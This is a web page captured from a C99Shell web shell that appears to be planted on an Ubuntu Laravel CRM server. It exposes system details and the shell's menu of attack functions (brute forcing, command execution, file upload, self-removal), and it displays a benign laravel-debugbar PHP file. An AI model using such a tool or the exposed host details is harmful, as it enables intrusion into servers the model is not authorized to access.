!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/DataCollector/   drwxrwxrwx
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GateCollector.php (5.33 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\DataCollector;

use 
Barryvdh\Debugbar\DataFormatter\SimpleFormatter;
use 
DebugBar\DataCollector\MessagesCollector;
use 
Illuminate\Auth\Access\Response;
use 
Illuminate\Contracts\Auth\Access\Gate;
use 
Illuminate\Contracts\Auth\Authenticatable;
use 
Illuminate\Database\Eloquent\Model;
use 
Illuminate\Routing\Router;
use 
Symfony\Component\VarDumper\Cloner\VarCloner;
use 
Illuminate\Support\Str;

/**
 * Collector for Laravel's gate checks
 */
class GateCollector extends MessagesCollector
{
    
/** @var int */
    
protected $backtraceLimit 15;

    
/** @var array */
    
protected $reflection = [];

    
/** @var \Illuminate\Routing\Router */
    
protected $router;

    
/**
     * @param Gate $gate
     */
    
public function __construct(Gate $gateRouter $router)
    {
        
parent::__construct('gate');
        
$this->router $router;
        
$this->setDataFormatter(new SimpleFormatter());
        
$gate->after(function ($user$ability$result$arguments = []) {
            
$this->addCheck($user$ability$result$arguments);
        });
    }

    
/**
     * {@inheritDoc}
     */
    
protected function customizeMessageHtml($messageHtml$message)
    {
        
$pos strpos((string) $messageHtml'array:5');
        if (
$pos !== false) {

            
$name $message['ability'] .' ' $message['target'] ?? '';

            
$messageHtml substr_replace($messageHtml$name$pos7);
        }

        return 
parent::customizeMessageHtml($messageHtml$message);
    }

    public function 
addCheck($user$ability$result$arguments = [])
    {
        
$userKey 'user';
        
$userId null;

        if (
$user) {
            
$userKey Str::snake(class_basename($user));
            
$userId $user instanceof Authenticatable $user->getAuthIdentifier() : $user->getKey();
        }

        
$label $result 'success' 'error';

        if (
$result instanceof Response) {
            
$label $result->allowed() ? 'success' 'error';
        }

        
$target null;
        if (isset(
$arguments[0])) {
            if (
$arguments[0] instanceof Model) {
                
$model $arguments[0];
                if (
$model->getKeyName() && isset($model[$model->getKeyName()])) {
                    
$target get_class($model) . '(' $model->getKeyName() . '=' $model->getKey() . ')';
                } else {
                    
$target get_class($model);
                }
            } else if (
is_string($arguments[0])) {
                
$target $arguments[0];
            }
        }

        
$this->addMessage([
            
'ability' => $ability,
            
'target' => $target,
            
'result' => $result,
            
$userKey => $userId,
            
'arguments' => $this->getDataFormatter()->formatVar($arguments),
        ], 
$labelfalse);
    }

    
/**
     * @param array $stacktrace
     *
     * @return array
     */
    
protected function getStackTraceItem($stacktrace)
    {
        foreach (
$stacktrace as $i => $trace) {
            if (!isset(
$trace['file'])) {
                continue;
            }

            if (
str_ends_with($trace['file'], 'Illuminate/Routing/ControllerDispatcher.php')) {
                
$trace $this->findControllerFromDispatcher($trace);
            } elseif (
str_starts_with($trace['file'], storage_path())) {
                
$hash pathinfo($trace['file'], PATHINFO_FILENAME);

                if (
$file $this->findViewFromHash($hash)) {
                    
$trace['file'] = $file;
                }
            }

            if (
$this->fileIsInExcludedPath($trace['file'])) {
                continue;
            }

            return 
$trace;
        }

        return 
$stacktrace[0];
    }

    
/**
     * Find the route action file
     *
     * @param  array $trace
     * @return array
     */
    
protected function findControllerFromDispatcher($trace)
    {
        
/** @var \Closure|string|array $action */
        
$action $this->router->current()->getAction('uses');

        if (
is_string($action)) {
            [
$controller$method] = explode('@'$action);

            
$reflection = new \ReflectionMethod($controller$method);
            
$trace['file'] = $reflection->getFileName();
            
$trace['line'] = $reflection->getStartLine();
        } elseif (
$action instanceof \Closure) {
            
$reflection = new \ReflectionFunction($action);
            
$trace['file'] = $reflection->getFileName();
            
$trace['line'] = $reflection->getStartLine();
        }

        return 
$trace;
    }

    
/**
     * Find the template name from the hash.
     *
     * @param  string $hash
     * @return null|array
     */
    
protected function findViewFromHash($hash)
    {
        
$finder app('view')->getFinder();

        if (isset(
$this->reflection['viewfinderViews'])) {
            
$property $this->reflection['viewfinderViews'];
        } else {
            
$reflection = new \ReflectionClass($finder);
            
$property $reflection->getProperty('views');
            
$property->setAccessible(true);
            
$this->reflection['viewfinderViews'] = $property;
        }

        
$xxh128Exists in_array('xxh128'hash_algos());

        foreach (
$property->getValue($finder) as $name => $path) {
            if ((
$xxh128Exists && hash('xxh128''v2' $path) == $hash) || sha1('v2' $path) == $hash) {
                return 
$path;
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0071 ]--